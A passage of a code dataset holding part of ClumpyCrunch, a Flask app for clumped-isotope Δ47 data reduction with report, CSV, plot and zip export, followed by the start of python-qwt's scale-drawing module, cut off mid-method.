data.Nominal_d18O_VPDB[r['Sample']] != r['Nominal_d18O_VPDB']:\n\t\t\t\t\t\tpayload['error_msg'] = f\"Inconsistent Nominal_d18O_VPDB value for {r['Sample']} (analysis {r['UID']}).\"\n\t\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tdata.Nominal_d18O_VPDB[r['Sample']] = r['Nominal_d18O_VPDB']\n\n\t\ttry:\n\t\t\tdata.wg(a18_acid = acidfrac)\n\t\texcept:\n\t\t\tpayload['error_msg'] = 'WG computation failed for some reason.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\n\tif payload['wg_setting'] == 'wg_setting_explicit':\n\t\tfor r in data:\n\t\t\tfor k in ['d13Cwg_VPDB', 'd18Owg_VSMOW']:\n\t\t\t\tif k not in r:\n\t\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" is missing field \"{k}\".'\n\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\t\t\t\n\t\t\t\t\n\t\n\ttry:\n\t\tdata.crunch()\n\texcept:\n\t\tpayload['error_msg'] = 'Crunching step failed for some reason.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tmethod = {\n\t\t'stdz_method_setting_pooled': 'pooled',\n\t\t'stdz_method_setting_indep_sessions': 'indep_sessions',\n\t\t}[payload['stdz_method_setting']]\n\n\n\tdata.standardize(\n\t\tconsolidate_tables = False,\n\t\tconsolidate_plots = False,\n\t\tmethod = method)\n\t\n\tcsv = 'Session,a,b,c,va,vb,vc,covab,covac,covbc,Xa,Ya,Xu,Yu'\n\tfor session in data.sessions:\n\t\ts = data.sessions[session]\n\t\tGa = [r for r in s['data'] if r['Sample'] in data.anchors]\n\t\tGu = [r for r in s['data'] if r['Sample'] in data.unknowns]\n\t\tcsv += f\"\\n{session},{s['a']},{s['b']},{s['c']},{s['CM'][0,0]},{s['CM'][1,1]},{s['CM'][2,2]},{s['CM'][0,1]},{s['CM'][0,2]},{s['CM'][1,2]},{';'.join([str(r['d47']) for r in Ga])},{';'.join([str(r['D47']) for r in Ga])},{';'.join([str(r['d47']) for r in Gu])},{';'.join([str(r['D47']) for r in Gu])}\"\n\n# \tpayload['error_msg'] = 'Foo bar.'\n# \treturn str(payload).replace(', ','\\n')\n\tpayload['display_results'] = True\n\tpayload['csv_of_sessions'] = csv\n\n\tsummary = data.summary(save_to_file = False, print_out = False)\n\ttosessions = data.table_of_sessions(save_to_file = False, print_out = False)\n\tpayload['summary'] = pretty_table(summary, header = 0)\n\tpayload['summary_rows'] = len(payload['summary'].splitlines())+2\n\tpayload['summary_cols'] = len(payload['summary'].splitlines()[0])\n\n\tpayload['table_of_sessions'] = pretty_table(tosessions)\n\tpayload['table_of_sessions_rows'] = len(payload['table_of_sessions'].splitlines())+1\n\tpayload['table_of_sessions_cols'] = len(payload['table_of_sessions'].splitlines()[0])\n\tpayload['table_of_sessions_csv'] = make_csv(tosessions)\n\n\ttosamples = data.table_of_samples(save_to_file = False, print_out = False)\n\tpayload['table_of_samples'] = pretty_table(tosamples)\n\tpayload['table_of_samples'] = payload['table_of_samples'][:] + 'NB: d18O_VSMOW is the composition of the analyzed CO2.'\n\tpayload['table_of_samples_rows'] = len(payload['table_of_samples'].splitlines())\n\tpayload['table_of_samples_cols'] = len(payload['table_of_samples'].splitlines()[0])+1\n\tpayload['table_of_samples_csv'] = make_csv(tosamples)\n\n\ttoanalyses = data.table_of_analyses(save_to_file = False, print_out = False)\n\tpayload['table_of_analyses'] = pretty_table(toanalyses)\n\tpayload['table_of_analyses_rows'] = len(payload['table_of_analyses'].splitlines())+1\n\tpayload['table_of_analyses_cols'] = len(payload['table_of_analyses'].splitlines()[0])\n\tpayload['table_of_analyses_csv'] = make_csv(toanalyses)\n\n\tcovars = \"\\n\\nCOVARIANCE BETWEEN SAMPLE \u039447 VALUES:\\n\\n\"\n\ttxt = [['Sample #1', 'Sample #2', 'Covariance', 'Correlation']]\n\tunknowns = [k for k in data.unknowns]\n\tfor k, s1 in enumerate(unknowns):\n\t\tfor s2 in unknowns[k+1:]:\n\t\t\ttxt += [[\n\t\t\t\ts1,\n\t\t\t\ts2,\n\t\t\t\tf\"{data.sample_D47_covar(s1,s2):.4e}\",\n\t\t\t\tf\"{data.sample_D47_covar(s1,s2)/data.samples[s1]['SE_D47']/data.samples[s2]['SE_D47']:.6f}\",\n\t\t\t\t]]\n\tcovars += pretty_table(txt, align = '<<>>')\n\n\tpayload['report'] = f\"Report generated on {time.asctime()}\\nClumpyCrunch v{__version__} using D47crunch v{vD47crunch}\"\n\tpayload['report'] += \"\\n\\nOXYGEN-17 CORRECTION PARAMETERS:\\n\" + pretty_table([['R13_VPDB', 'R18_VSMOW', 'R17_VSMOW', 'lambda_17'], [payload['o17_R13_VPDB'], payload['o17_R18_VSMOW'], payload['o17_R17_VSMOW'], payload['o17_lambda']]], align = '<<<<')\n\n\tif payload['wg_setting'] == 'wg_setting_fromsample':\n\t\tpayload['report'] += f\"\\n\\nWG compositions constrained by sample {wg_setting_fromsample_samplename} with:\"\n\t\tpayload['report'] += f\"\\n \u03b413C_VPDB = {wg_setting_fromsample_d13C}\"\n\t\tpayload['report'] += f\"\\n \u03b418O_VPDB = {wg_setting_fromsample_d18O}\"\n\t\tpayload['report'] += f\"\\n(18O/16O) AFF = {wg_setting_fromsample_acidfrac}\\n\"\n\telif payload['wg_setting'] == 'wg_setting_explicit':\n\t\tpayload['report'] += f\"\\n\\nWG compositions specified by user.\\n\"\n\t\n\tpayload['report'] += f\"\\n\\nSUMMARY:\\n{payload['summary']}\"\n\tpayload['report'] += f\"\\n\\nSAMPLES:\\n{payload['table_of_samples']}\\n\"\n\tpayload['report'] += f\"\\n\\nSESSIONS:\\n{payload['table_of_sessions']}\"\n\tpayload['report'] += f\"\\n\\nANALYSES:\\n{payload['table_of_analyses']}\"\n\tpayload['report'] += covars\n\n\ttxt = payload['csv_of_sessions']\n\ttxt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]\n\tsessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]\n\tpayload['plots'] = []\n\t\n\tfor s in sessions:\n\t\ts['Xa'] = [float(x) for x in s['Xa'].split(';')]\n\t\ts['Ya'] = [float(x) for x in s['Ya'].split(';')]\n\t\ts['Xu'] = [float(x) for x in s['Xu'].split(';')]\n\t\ts['Yu'] = [float(x) for x in s['Yu'].split(';')]\n\n\tfor s in sessions:\n\t\tfig = figure(figsize = (3,3))\n\t\tsubplots_adjust(.2,.15,.95,.9)\n\t\tplot_session(s)\n\t\tpngImage = io.BytesIO()\n\t\tFigureCanvas(fig).print_png(pngImage)\n\t\tpngImageB64String = \"data:image/png;base64,\"\n\t\tpngImageB64String += base64.b64encode(pngImage.getvalue()).decode('utf8')\n\t\tpayload['plots'] += [pngImageB64String]\n\t\tclose(fig)\n\n\treturn(render_template('main.html', payload = payload, vD47crunch = vD47crunch))\n\n# @app.route(\"/csv//\", methods = ['POST'])\n# def get_file(foo, filename):\n# \tpayload = dict(request.form)\n# \treturn Response(\n# \t\tpayload[foo],\n# \t\tmimetype='text/plain',\n# \t\theaders={'Content-Disposition': f'attachment;filename=\"{filename}\"'}\n# \t\t)\ndef normalization_error(a, b, c, CM, d47, D47):\n\tV = array([-D47, -d47, -1]) /a\n\treturn float((V @ CM @ V.T) ** .5)\n\ndef zipresults():\n\tpayload = dict(request.form)\n# \treturn str(payload).replace(', ','\\n')\n\tmem = io.BytesIO()\n\twith zipfile.ZipFile(mem, 'w') as zf:\n\n\t\tfor k, filename in [\n\t\t\t('report', 'report.txt'),\n\t\t\t('table_of_sessions_csv', 'csv/sessions.csv'),\n\t\t\t('table_of_samples_csv', 'csv/samples.csv'),\n\t\t\t('table_of_analyses_csv', 'csv/analyses.csv'),\n\t\t\t]:\n\t\t\tdata = zipfile.ZipInfo(f'/{filename}')\n\t\t\tdata.date_time = time.localtime(time.time())[:6]\n\t\t\tdata.compress_type = zipfile.ZIP_DEFLATED\n\t\t\tzf.writestr(data, payload[k])\n\t\t\n\t\ttxt = payload['csv_of_sessions']\n\t\ttxt = [[x.strip() for x in l.split(',')] for l in txt.splitlines() if l.strip()]\n\t\tsessions = [{k: smart_type(v) for k,v in zip(txt[0], l)} for l in txt[1:]]\n\t\t\n\t\tfor s in sessions:\n\t\t\ts['Xa'] = [float(x) for x in s['Xa'].split(';')]\n\t\t\ts['Ya'] = [float(x) for x in s['Ya'].split(';')]\n\t\t\ts['Xu'] = [float(x) for x in s['Xu'].split(';')]\n\t\t\ts['Yu'] = [float(x) for x in s['Yu'].split(';')]\n\n\t\tX = [x for s in sessions for k in ['Xa', 'Xu'] for x in s[k]]\n\t\tY = [y for s in sessions for k in ['Ya', 'Yu'] for y in s[k]]\n\t\txmin, xmax, ymin, ymax = [min(X), max(X), min(Y), max(Y)]\n\t\tdx = xmax - xmin\n\t\tdy = ymax - ymin\n\t\txmin -= dx/20\n\t\txmax += dx/20\n\t\tymin -= dy/20\n\t\tymax += dy/20\n\n\t\tfor s in sessions:\n\n\t\t\tfig = figure(figsize = (5,5))\n\t\t\tsubplots_adjust(.15,.15,.9,.9)\n\t\t\tplot_session(s, [xmin, xmax, ymin, ymax])\n\t\t\tbuf = io.BytesIO()\n\t\t\tsavefig(buf, format = 'pdf')\n\t\t\tclose(fig)\n\n\t\t\tzf.writestr(f\"/sessions/{s['Session']}.pdf\", buf.getvalue())\n\n\tmem.seek(0)\n\n\tresponse = Response(FileWrapper(mem), mimetype=\"application/zip\", direct_passthrough=True)\n\tresponse.headers['Content-Disposition'] = 'attachment; filename=ClumpyCrunch.zip'\n\treturn response\n\n\ndef plot_session(s, axislimits = []):\n\tkw = dict(mfc = 'None', mec = (.9,0,0), mew = .75, ms = 4)\n\tplot(s['Xa'], s['Ya'], 'x', **kw)\n\n\tkw['mec'] = 'k'\n\tplot(s['Xu'], s['Yu'], 'x', **kw)\n\n\tif axislimits:\n\t\txmin, xmax, ymin, ymax = axislimits\n\telse:\n\t\txmin, xmax, ymin, ymax = axis()\n\tXI,YI = meshgrid(linspace(xmin, xmax), linspace(ymin, ymax))\n\tCM = array([[s['va'], s['covab'], s['covac']], [s['covab'], s['vb'], s['covbc']], [s['covac'], s['covbc'], s['vc']]])\n\ta, b, c = s['a'], s['b'], s['c']\n\tSI = array([[normalization_error(a, b, c, CM, xi, yi) for xi in XI[0,:]] for yi in YI[:,0]])\n\n\trng = SI.max() - SI.min()\n\tif rng <= 0.01:\n\t\tcinterval = 0.001\n\telif rng <= 0.03:\n\t\tcinterval = 0.004\n\telif rng <= 0.1:\n\t\tcinterval = 0.01\n\telif rng <= 0.3:\n\t\tcinterval = 0.03\n\telse:\n\t\tcinterval = 0.1\n\t\n\tcval = [ceil(SI.min() / .001) * .001 + k * cinterval for k in range(int(ceil((SI.max() - SI.min()) / cinterval)))]\n\tcs = contour(XI, YI, SI, cval, colors = 'r', alpha = .5, linewidths = .75)\n\tclabel(cs)\n\n\taxis([xmin, xmax, ymin, ymax])\n\txlabel('\u03b4$_{47}$ (\u2030 WG)')\n\tylabel('\u0394$_{47}$ (\u2030)')\n\ttitle(s['Session'])\n\tgrid(alpha = .15)\n", "source": "mdaeron/clumpycrunch", "license": "BSD-3-Clause"}
+{"text": "# -*- coding: utf-8 -*-\n#\n# Licensed under the terms of the Qwt License\n# Copyright (c) 2002 Uwe Rathmann, for the original C++ code\n# Copyright (c) 2015 Pierre Raybaut, for the Python translation/optimization\n# (see LICENSE file for more details)\n\n\"\"\"\nQwtAbstractScaleDraw\n--------------------\n\n.. autoclass:: QwtAbstractScaleDraw\n :members:\n\nQwtScaleDraw\n------------\n\n.. autoclass:: QwtScaleDraw\n :members:\n\"\"\"\n\nfrom qwt.scale_div import QwtScaleDiv\nfrom qwt.scale_map import QwtScaleMap\nfrom qwt.text import QwtText\nfrom qwt._math import qwtRadians\n\nfrom qtpy.QtGui import QPalette, QFontMetrics, QTransform\nfrom qtpy.QtCore import Qt, qFuzzyCompare, QLocale, QRectF, QPointF, QRect, QPoint\n\nfrom math import ceil\nimport numpy as np\n\n\nclass QwtAbstractScaleDraw_PrivateData(object):\n def __init__(self):\n self.spacing = 4\n self.penWidth = 0\n self.minExtent = 0.0\n\n self.components = (\n QwtAbstractScaleDraw.Backbone\n | QwtAbstractScaleDraw.Ticks\n | QwtAbstractScaleDraw.Labels\n )\n self.tick_length = {\n QwtScaleDiv.MinorTick: 4.0,\n QwtScaleDiv.MediumTick: 6.0,\n QwtScaleDiv.MajorTick: 8.0,\n }\n self.tick_lighter_factor = {\n QwtScaleDiv.MinorTick: 100,\n QwtScaleDiv.MediumTick: 100,\n QwtScaleDiv.MajorTick: 100,\n }\n\n self.map = QwtScaleMap()\n self.scaleDiv = QwtScaleDiv()\n\n self.labelCache = {}\n\n\nclass QwtAbstractScaleDraw(object):\n \"\"\"\n A abstract base class for drawing scales\n\n `QwtAbstractScaleDraw` can be used to draw linear or logarithmic scales.\n \n After a scale division has been specified as a `QwtScaleDiv` object\n using `setScaleDiv()`, the scale can be drawn with the `draw()` member.\n \n Scale components:\n \n * `QwtAbstractScaleDraw.Backbone`: Backbone = the line where the ticks are located\n * `QwtAbstractScaleDraw.Ticks`: Ticks\n * `QwtAbstractScaleDraw.Labels`: Labels\n \n .. py:class:: QwtAbstractScaleDraw()\n \n The range of the scale is initialized to [0, 100],\n The spacing (distance between ticks and labels) is\n set to 4, the tick lengths are set to 4,6 and 8 pixels \n \"\"\"\n\n # enum ScaleComponent\n Backbone = 0x01\n Ticks = 0x02\n Labels = 0x04\n\n def __init__(self):\n self.__data = QwtAbstractScaleDraw_PrivateData()\n\n def extent(self, font):\n \"\"\"\n Calculate the extent\n\n The extent is the distance from the baseline to the outermost\n pixel of the scale draw in opposite to its orientation.\n It is at least minimumExtent() pixels.\n\n :param QFont font: Font used for drawing the tick labels\n :return: Number of pixels\n \n .. seealso::\n \n :py:meth:`setMinimumExtent()`, :py:meth:`minimumExtent()`\n \"\"\"\n return 0.0\n\n def drawTick(self, painter, value, len_):\n \"\"\"\n Draw a tick\n\n :param QPainter painter: Painter\n :param float value: Value of the tick\n :param float len: Length of the tick\n\n .. seealso::\n \n :py:meth:`drawBackbone()`, :py:meth:`drawLabel()`\n \"\"\"\n pass\n\n def drawBackbone(self, painter):\n \"\"\"\n Draws the baseline of the scale\n \n :param QPainter painter: Painter\n\n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawLabel()`\n \"\"\"\n pass\n\n def drawLabel(self, painter, value):\n \"\"\"\n Draws the label for a major scale tick\n \n :param QPainter painter: Painter\n :param float value: Value\n\n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawBackbone()`\n \"\"\"\n pass\n\n def enableComponent(self, component, enable):\n \"\"\"\n En/Disable a component of the scale\n\n :param int component: Scale component\n :param bool enable: On/Off\n \n .. seealso::\n \n :py:meth:`hasComponent()`\n \"\"\"\n if enable:\n self.__data.components |= component\n else:\n self.__data.components &= ~component\n\n def hasComponent(self, component):\n \"\"\"\n Check if a component is enabled\n\n :param int component: Component type\n :return: True, when component is enabled\n \n .. seealso::\n \n :py:meth:`enableComponent()`\n \"\"\"\n return self.__data.components & component\n\n def setScaleDiv(self, scaleDiv):\n \"\"\"\n Change the scale division\n \n :param qwt.scale_div.QwtScaleDiv scaleDiv: New scale division\n \"\"\"\n self.__data.scaleDiv = scaleDiv\n self.__data.map.setScaleInterval(scaleDiv.lowerBound(), scaleDiv.upperBound())\n self.__data.labelCache.clear()\n\n def setTransformation(self, transformation):\n \"\"\"\n Change the transformation of the scale\n\n :param qwt.transform.QwtTransform transformation: New scale transformation\n \"\"\"\n self.__data.map.setTransformation(transformation)\n\n def scaleMap(self):\n \"\"\"\n :return: Map how to translate between scale and pixel values\n \"\"\"\n return self.__data.map\n\n def scaleDiv(self):\n \"\"\"\n :return: scale division\n \"\"\"\n return self.__data.scaleDiv\n\n def setPenWidth(self, width):\n \"\"\"\n Specify the width of the scale pen\n \n :param int width: Pen width\n \n .. seealso::\n \n :py:meth:`penWidth()`\n \"\"\"\n if width < 0:\n width = 0\n if width != self.__data.penWidth:\n self.__data.penWidth = width\n\n def penWidth(self):\n \"\"\"\n :return: Scale pen width\n \n .. seealso::\n \n :py:meth:`setPenWidth()`\n \"\"\"\n return self.__data.penWidth\n\n def draw(self, painter, palette):\n \"\"\"\n Draw the scale\n \n :param QPainter painter: The painter\n :param QPalette palette: Palette, text color is used for the labels, foreground color for ticks and backbone\n \"\"\"\n painter.save()\n\n pen = painter.pen()\n pen.setWidth(self.__data.penWidth)\n pen.setCosmetic(False)\n painter.setPen(pen)\n\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n painter.save()\n painter.setPen(palette.color(QPalette.Text))\n majorTicks = self.__data.scaleDiv.ticks(QwtScaleDiv.MajorTick)\n for v in majorTicks:\n if self.__data.scaleDiv.contains(v):\n self.drawLabel(painter, v)\n painter.restore()\n\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n painter.save()\n pen = painter.pen()\n pen.setCapStyle(Qt.FlatCap)\n default_color = palette.color(QPalette.WindowText)\n for tickType in range(QwtScaleDiv.NTickTypes):\n tickLen = self.__data.tick_length[tickType]\n if tickLen <= 0.0:\n continue\n factor = self.__data.tick_lighter_factor[tickType]\n pen.setColor(default_color.lighter(factor))\n painter.setPen(pen)\n ticks = self.__data.scaleDiv.ticks(tickType)\n for v in ticks:\n if self.__data.scaleDiv.contains(v):\n self.drawTick(painter, v, tickLen)\n painter.restore()\n\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n painter.save()\n pen = painter.pen()\n pen.setColor(palette.color(QPalette.WindowText))\n pen.setCapStyle(Qt.FlatCap)\n painter.setPen(pen)\n self.drawBackbone(painter)\n painter.restore()\n\n painter.restore()\n\n def setSpacing(self, spacing):\n \"\"\"\n Set the spacing between tick and labels\n\n The spacing is the distance between ticks and labels.\n The default spacing is 4 pixels.\n \n :param float spacing: Spacing\n \n .. seealso::\n \n :py:meth:`spacing()`\n \"\"\"\n if spacing < 0:\n spacing = 0\n self.__data.spacing = spacing\n\n def spacing(self):\n \"\"\"\n Get the spacing\n\n The spacing is the distance between ticks and labels.\n The default spacing is 4 pixels.\n \n :return: Spacing\n \n .. seealso::\n \n :py:meth:`setSpacing()`\n \"\"\"\n return self.__data.spacing\n\n def setMinimumExtent(self, minExtent):\n \"\"\"\n Set a minimum for the extent\n\n The extent is calculated from the components of the\n scale draw. In situations, where the labels are\n changing and the layout depends on the extent (f.e scrolling\n a scale), setting an upper limit as minimum extent will\n avoid jumps of the layout.\n \n :param float minExtent: Minimum extent\n \n .. seealso::\n \n :py:meth:`extent()`, :py:meth:`minimumExtent()`\n \"\"\"\n if minExtent < 0.0:\n minExtent = 0.0\n self.__data.minExtent = minExtent\n\n def minimumExtent(self):\n \"\"\"\n Get the minimum extent\n \n :return: Minimum extent\n \n .. seealso::\n \n :py:meth:`extent()`, :py:meth:`setMinimumExtent()`\n \"\"\"\n return self.__data.minExtent\n\n def setTickLength(self, tick_type, length):\n \"\"\"\n Set the length of the ticks\n \n :param int tick_type: Tick type\n :param float length: New length\n \n .. warning::\n \n the length is limited to [0..1000]\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n self.__data.tick_length[tick_type] = min([1000.0, max([0.0, length])])\n\n def tickLength(self, tick_type):\n \"\"\"\n :param int tick_type: Tick type\n :return: Length of the ticks\n \n .. seealso::\n \n :py:meth:`setTickLength()`, :py:meth:`maxTickLength()`\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n return self.__data.tick_length[tick_type]\n\n def maxTickLength(self):\n \"\"\"\n :return: Length of the longest tick\n \n Useful for layout calculations\n \n .. seealso::\n \n :py:meth:`tickLength()`, :py:meth:`setTickLength()`\n \"\"\"\n return max([0.0] + list(self.__data.tick_length.values()))\n\n def setTickLighterFactor(self, tick_type, factor):\n \"\"\"\n Set the color lighter factor of the ticks\n \n :param int tick_type: Tick type\n :param int factor: New factor\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n self.__data.tick_lighter_factor[tick_type] = min([0, factor])\n\n def tickLighterFactor(self, tick_type):\n \"\"\"\n :param int tick_type: Tick type\n :return: Color lighter factor of the ticks\n \n .. seealso::\n \n :py:meth:`setTickLighterFactor()`\n \"\"\"\n if tick_type not in self.__data.tick_length:\n raise ValueError(\"Invalid tick type: %r\" % tick_type)\n return self.__data.tick_lighter_factor[tick_type]\n\n def label(self, value):\n \"\"\"\n Convert a value into its representing label\n\n The value is converted to a plain text using\n `QLocale().toString(value)`.\n This method is often overloaded by applications to have individual\n labels.\n \n :param float value: Value\n :return: Label string\n \"\"\"\n return QLocale().toString(value)\n\n def tickLabel(self, font, value):\n \"\"\"\n Convert a value into its representing label and cache it.\n\n The conversion between value and label is called very often\n in the layout and painting code. Unfortunately the\n calculation of the label sizes might be slow (really slow\n for rich text in Qt4), so it's necessary to cache the labels.\n \n :param QFont font: Font\n :param float value: Value\n :return: Tick label\n \"\"\"\n lbl = self.__data.labelCache.get(value)\n if lbl is None:\n lbl = QwtText(self.label(value))\n lbl.setRenderFlags(0)\n lbl.setLayoutAttribute(QwtText.MinimumLayout)\n lbl.textSize(font)\n self.__data.labelCache[value] = lbl\n return lbl\n\n def invalidateCache(self):\n \"\"\"\n Invalidate the cache used by `tickLabel()`\n\n The cache is invalidated, when a new `QwtScaleDiv` is set. If\n the labels need to be changed. while the same `QwtScaleDiv` is set,\n `invalidateCache()` needs to be called manually.\n \"\"\"\n self.__data.labelCache.clear()\n\n\nclass QwtScaleDraw_PrivateData(object):\n def __init__(self):\n self.len = 0\n self.alignment = QwtScaleDraw.BottomScale\n self.labelAlignment = 0\n self.labelRotation = 0.0\n self.labelAutoSize = True\n self.pos = QPointF()\n\n\nclass QwtScaleDraw(QwtAbstractScaleDraw):\n \"\"\"\n A class for drawing scales\n\n QwtScaleDraw can be used to draw linear or logarithmic scales.\n A scale has a position, an alignment and a length, which can be specified .\n The labels can be rotated and aligned\n to the ticks using `setLabelRotation()` and `setLabelAlignment()`.\n\n After a scale division has been specified as a QwtScaleDiv object\n using `QwtAbstractScaleDraw.setScaleDiv(scaleDiv)`,\n the scale can be drawn with the `QwtAbstractScaleDraw.draw()` member.\n \n Alignment of the scale draw:\n \n * `QwtScaleDraw.BottomScale`: The scale is below\n * `QwtScaleDraw.TopScale`: The scale is above\n * `QwtScaleDraw.LeftScale`: The scale is left\n * `QwtScaleDraw.RightScale`: The scale is right\n \n .. py:class:: QwtScaleDraw()\n \n The range of the scale is initialized to [0, 100],\n The position is at (0, 0) with a length of 100.\n The orientation is `QwtAbstractScaleDraw.Bottom`.\n \"\"\"\n\n # enum Alignment\n BottomScale, TopScale, LeftScale, RightScale = list(range(4))\n Flags = (\n Qt.AlignHCenter | Qt.AlignBottom, # BottomScale\n Qt.AlignHCenter | Qt.AlignTop, # TopScale\n Qt.AlignLeft | Qt.AlignVCenter, # LeftScale\n Qt.AlignRight | Qt.AlignVCenter, # RightScale\n )\n\n def __init__(self):\n QwtAbstractScaleDraw.__init__(self)\n self.__data = QwtScaleDraw_PrivateData()\n self.setLength(100)\n self._max_label_sizes = {}\n\n def alignment(self):\n \"\"\"\n :return: Alignment of the scale\n \n .. seealso::\n \n :py:meth:`setAlignment()`\n \"\"\"\n return self.__data.alignment\n\n def setAlignment(self, align):\n \"\"\"\n Set the alignment of the scale\n \n :param int align: Alignment of the scale\n\n Alignment of the scale draw:\n \n * `QwtScaleDraw.BottomScale`: The scale is below\n * `QwtScaleDraw.TopScale`: The scale is above\n * `QwtScaleDraw.LeftScale`: The scale is left\n * `QwtScaleDraw.RightScale`: The scale is right\n \n The default alignment is `QwtScaleDraw.BottomScale`\n \n .. seealso::\n \n :py:meth:`alignment()`\n \"\"\"\n self.__data.alignment = align\n\n def orientation(self):\n \"\"\"\n Return the orientation\n\n TopScale, BottomScale are horizontal (`Qt.Horizontal`) scales,\n LeftScale, RightScale are vertical (`Qt.Vertical`) scales.\n \n :return: Orientation of the scale\n \n .. seealso::\n \n :py:meth:`alignment()`\n \"\"\"\n if self.__data.alignment in (self.TopScale, self.BottomScale):\n return Qt.Horizontal\n elif self.__data.alignment in (self.LeftScale, self.RightScale):\n return Qt.Vertical\n\n def getBorderDistHint(self, font):\n \"\"\"\n Determine the minimum border distance\n\n This member function returns the minimum space\n needed to draw the mark labels at the scale's endpoints.\n \n :param QFont font: Font\n :return: tuple `(start, end)`\n\n Returned tuple:\n \n * start: Start border distance\n * end: End border distance\n \"\"\"\n start, end = 0, 1.0\n\n if not self.hasComponent(QwtAbstractScaleDraw.Labels):\n return start, end\n\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if len(ticks) == 0:\n return start, end\n\n minTick = ticks[0]\n minPos = self.scaleMap().transform(minTick)\n maxTick = minTick\n maxPos = minPos\n\n for tick in ticks:\n tickPos = self.scaleMap().transform(tick)\n if tickPos < minPos:\n minTick = tick\n minPos = tickPos\n if tickPos > self.scaleMap().transform(maxTick):\n maxTick = tick\n maxPos = tickPos\n\n s = 0.0\n e = 0.0\n if self.orientation() == Qt.Vertical:\n s = -self.labelRect(font, minTick).top()\n s -= abs(minPos - round(self.scaleMap().p2()))\n\n e = self.labelRect(font, maxTick).bottom()\n e -= abs(maxPos - self.scaleMap().p1())\n else:\n s = -self.labelRect(font, minTick).left()\n s -= abs(minPos - self.scaleMap().p1())\n\n e = self.labelRect(font, maxTick).right()\n e -= abs(maxPos - self.scaleMap().p2())\n\n return max(ceil(s), 0), max(ceil(e), 0)\n\n def minLabelDist(self, font):\n \"\"\"\n Determine the minimum distance between two labels, that is necessary\n that the texts don't overlap.\n\n :param QFont font: Font\n :return: The maximum width of a label\n \n .. seealso::\n \n :py:meth:`getBorderDistHint()`\n \"\"\"\n if not self.hasComponent(QwtAbstractScaleDraw.Labels):\n return 0\n\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n\n fm = QFontMetrics(font)\n vertical = self.orientation() == Qt.Vertical\n\n bRect1 = QRectF()\n bRect2 = self.labelRect(font, ticks[0])\n if vertical:\n bRect2.setRect(-bRect2.bottom(), 0.0, bRect2.height(), bRect2.width())\n\n maxDist = 0.0\n\n for tick in ticks:\n bRect1 = bRect2\n bRect2 = self.labelRect(font, tick)\n if vertical:\n bRect2.setRect(-bRect2.bottom(), 0.0, bRect2.height(), bRect2.width())\n\n dist = fm.leading()\n if bRect1.right() > 0:\n dist += bRect1.right()\n if bRect2.left() < 0:\n dist += -bRect2.left()\n\n if dist > maxDist:\n maxDist = dist\n\n angle = qwtRadians(self.labelRotation())\n if vertical:\n angle += np.pi / 2\n\n sinA = np.sin(angle)\n if qFuzzyCompare(sinA + 1.0, 1.0):\n return np.ceil(maxDist)\n\n fmHeight = fm.ascent() - 2\n\n labelDist = fmHeight / np.sin(angle) * np.cos(angle)\n if labelDist < 0:\n labelDist = -labelDist\n\n if labelDist > maxDist:\n labelDist = maxDist\n\n if labelDist < fmHeight:\n labelDist = fmHeight\n\n return np.ceil(labelDist)\n\n def extent(self, font):\n \"\"\"\n Calculate the width/height that is needed for a\n vertical/horizontal scale.\n\n The extent is calculated from the pen width of the backbone,\n the major tick length, the spacing and the maximum width/height\n of the labels.\n\n :param QFont font: Font used for painting the labels\n :return: Extent\n \n .. seealso::\n \n :py:meth:`minLength()`\n \"\"\"\n d = 0.0\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n if self.orientation() == Qt.Vertical:\n d = self.maxLabelWidth(font)\n else:\n d = self.maxLabelHeight(font)\n if d > 0:\n d += self.spacing()\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n d += self.maxTickLength()\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n pw = max([1, self.penWidth()])\n d += pw\n return max([d, self.minimumExtent()])\n\n def minLength(self, font):\n \"\"\"\n Calculate the minimum length that is needed to draw the scale\n\n :param QFont font: Font used for painting the labels\n :return: Minimum length that is needed to draw the scale\n \n .. seealso::\n \n :py:meth:`extent()`\n \"\"\"\n startDist, endDist = self.getBorderDistHint(font)\n sd = self.scaleDiv()\n minorCount = len(sd.ticks(QwtScaleDiv.MinorTick)) + len(\n sd.ticks(QwtScaleDiv.MediumTick)\n )\n majorCount = len(sd.ticks(QwtScaleDiv.MajorTick))\n lengthForLabels = 0\n if self.hasComponent(QwtAbstractScaleDraw.Labels):\n lengthForLabels = self.minLabelDist(font) * majorCount\n lengthForTicks = 0\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n pw = max([1, self.penWidth()])\n lengthForTicks = np.ceil((majorCount + minorCount) * (pw + 1.0))\n return startDist + endDist + max([lengthForLabels, lengthForTicks])\n\n def labelPosition(self, value):\n \"\"\"\n Find the position, where to paint a label\n\n The position has a distance that depends on the length of the ticks \n in direction of the `alignment()`.\n\n :param float value: Value\n :return: Position, where to paint a label\n \"\"\"\n tval = self.scaleMap().transform(value)\n dist = self.spacing()\n if self.hasComponent(QwtAbstractScaleDraw.Backbone):\n dist += max([1, self.penWidth()])\n if self.hasComponent(QwtAbstractScaleDraw.Ticks):\n dist += self.tickLength(QwtScaleDiv.MajorTick)\n\n px = 0\n py = 0\n if self.alignment() == self.RightScale:\n px = self.__data.pos.x() + dist\n py = tval\n elif self.alignment() == 